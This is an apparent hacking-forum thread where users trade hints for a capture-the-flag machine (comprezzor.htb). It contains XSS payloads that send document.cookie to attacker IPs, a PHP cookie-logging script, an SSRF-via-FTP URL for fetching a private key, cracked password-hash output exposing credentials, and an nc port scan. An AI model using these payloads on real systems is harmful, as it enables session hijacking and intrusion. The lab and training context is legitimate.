[MakeFilez]

I got both the hash of adam and admin
please can someone guide what to do next

---

I got both the hash adam and admin
What is the next step kindly help me

What command did you use ?

---

For everyone asking about how to get the files from FTP:
              ftp://ftp_admin:[email protected]/
Then just put the file you want after the /
              ftp://ftp_admin:[email protected]/{private_key}

I can't connect to FTP, any tips or help....
grateful

You don't connect you type it into the generate_report_pdf

[ddevilll]

this machine should be rated insane!

[ox9Days]

anyone managed to reverse engineer the runner2 program ?

[medo5120]

"><script>new Image().src="http://10.10.16.6:80/cookie.php?c="+document.cookie;</script>    -  I tried this, it worked for many but it didn't for me...


cat cookie.php         
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "10.10.11.15 {$_SERVER['10.10.16.63:8080']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>

No work for me :/

  rest the machine it will work

---

None of the alternatives worked

rest the machine it will work

---

None of the alternatives worked

rest the machine it will work

exactly .. so what after xss ? can u provide any hint

http://dashboard.comprezzor.htb/create_pdf_report    --> SSRF  
I think so...

Hey, how did you get the create_pdf_report ? it doesn't exist in most wordlists

[DrBan]

I got both the hash of adam and admin
please can someone guide what to do next

---

I got both the hash adam and admin
What is the next step kindly help me

<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>

[xxxbfacc]

How’d you access runner2?

anyone managed to reverse engineer the runner2 program ?

[asdfplayer]

is there is X forwarding ?

---

may be useful ? there is 6010 opened and if you check pstree you will find there is a X server running localy

[adolfo]

hashcat -m 30120 -a 0 hash1.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-ivybridge-Intel® Core™ i5-3330 CPU @ 3.00GHz, 2763/5591 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?               

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
                                                         
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 30120 (Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)))
Hash.Target......: sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc...89fc43
Time.Started.....: Sun Apr 28 16:59:14 2024 (7 secs)
Time.Estimated...: Sun Apr 28 16:59:21 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1652.3 kH/s (0.85ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10375168/14344385 (72.33%)
Rejected.........: 0/10375168 (0.00%)
Restore.Point....: 10373120/14344385 (72.31%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: adambayu -> adadeh289
Hardware.Mon.#1..: Temp: 67c Util: 51%

---

No work for me :/

  rest the machine it will work

---

None of the alternatives worked

rest the machine it will work

---

None of the alternatives worked

rest the machine it will work

exactly .. so what after xss ? can u provide any hint

http://dashboard.comprezzor.htb/create_pdf_report    --> SSRF  
I think so...

Hey, how did you get the create_pdf_report ? it doesn't exist in most wordlists

https://blog.csdn.net/m0_52742680/articl.../138270646

[osamy7593]

guys i found selenuim grid on local 4444

---

we have now creds adam:adam gray

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed

[maggi]

guys i found selenuim grid on local 4444

---

we have now creds adam:adam gray

bootleg port scan  shows ftp is running on 172.21.0.1


dev_acc@intuition:~$ nc -zv 172.21.0.1 1-65535 2>&1 | grep -v refused
Connection to 172.21.0.1 21 port [tcp/ftp] succeeded!
Connection to 172.21.0.1 22 port [tcp/ssh] succeeded!
Connection to 172.21.0.1 80 port [tcp/http] succeeded

I had selenium up for a while and don't know what to do there sooo hopefully that proves more interesting..........